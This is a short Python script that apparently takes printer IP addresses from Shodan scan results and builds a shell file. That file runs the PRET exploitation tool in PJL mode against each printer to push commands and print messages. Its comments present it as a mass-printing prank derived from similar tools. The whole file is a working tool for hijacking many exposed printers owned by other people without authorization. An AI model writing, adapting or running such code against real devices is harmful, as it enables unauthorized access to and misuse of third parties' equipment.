# Generates and then execs a shell file to print messages to various pjl printers lol import json import subprocess SHODAN_DATA_FILE = 'printers.json' PJL_NC_PRINT_STR_TEMPLATE = "python pret.py {0} pjl -i ./commands.txt" shell_exec = "printslaver" shell_exec_file = open(shell_exec, "w") for item in open(SHODAN_DATA_FILE).readlines(): jsonified_item = json.loads(item) print_exec_string = PJL_NC_PRINT_STR_TEMPLATE.format(jsonified_item['ip_str']) shell_exec_file.write(print_exec_string + "\n") # Retrofitted from screenslaver.py that in turn built with reverse engineering from mass_print.py # May the Force Be with you # cybernanakinvader.wordpress.com